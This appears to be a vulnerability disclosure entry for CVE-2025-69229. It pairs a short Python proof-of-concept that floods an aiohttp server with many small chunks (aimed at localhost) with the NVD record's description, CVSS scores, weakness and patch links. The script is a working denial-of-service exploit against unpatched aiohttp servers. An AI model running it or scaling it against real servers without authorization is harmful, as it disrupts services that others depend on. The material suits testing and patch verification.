CVE-2025-69229

""" CVE-2025-69229 AIOHTTP Chunked DoS PoC This PoC demonstrates the chunked message handling DoS vulnerability in aiohttp <= 3.13.2 """ import asyncio import aiohttp async def send_chunked_request(target_url: str, num_chunks: int = 1000): """ Send a chunked request to trigger CPU blocking in aiohttp server Args: target_url: Target server URL num_chunks: Number of chunks to send (more chunks = more CPU usage) """ # Construct chunked request body chunk_data = b'X' * 100 # 100 bytes per chunk chunks = [] for i in range(num_chunks): # Each chunk: length in hex + CRLF + data + CRLF chunk_size = format(len(chunk_data), 'x') chunks.append(f"{chunk_size}\r\n".encode()) chunks.append(chunk_data) chunks.append(b'\r\n') # Final zero-length chunk to signal end chunks.append(b'0\r\n\r\n') body = b''.join(chunks) headers = { 'Content-Type': 'application/octet-stream', 'Transfer-Encoding': 'chunked' } async with aiohttp.ClientSession() as session: async with session.post(target_url, data=body, headers=headers) as resp: print(f"Response status: {resp.status}") return await resp.text() async def main(): target = "http://localhost:8080/endpoint" # Send request with 1000 chunks to trigger ~1 second CPU blocking await send_chunked_request(target, num_chunks=1000) if __name__ == "__main__": asyncio.run(main())

{"cve": {"id": "CVE-2025-69229", "sourceIdentifier": "[email protected]", "published": "2026-01-06T00:15:48.347", "lastModified": "2026-02-13T18:55:03.527", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "AIOHTTP is an asynchronous HTTP client/server framework for asyncio and Python. In versions 3.13.2 and below, handling of chunked messages can result in excessive blocking CPU usage when receiving a large number of chunks. If an application makes use of the request.read() method in an endpoint, it may be possible for an attacker to cause the server to spend a moderate amount of blocking CPU time (e.g. 1 second) while processing the request. This could potentially lead to DoS as the server would be unable to handle other requests during that time. This issue is fixed in version 3.13.3."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.6, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "UNREPORTED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-770"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:aiohttp:aiohttp:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.13.3", "matchCriteriaId": "715B630E-B141-4247-A920-3FFBD8045A05"}]}]}], "references": [{"url": "https://github.com/aio-libs/aiohttp/commit/4ed97a4e46eaf61bd0f05063245f613469700229", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/aio-libs/aiohttp/commit/dc3170b56904bdf814228fae70a5501a42a6c712", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/aio-libs/aiohttp/security/advisories/GHSA-g84x-mcqj-x9qq", "source": "[email protected]", "tags": ["Patch", "Vendor Advisory"]}]}}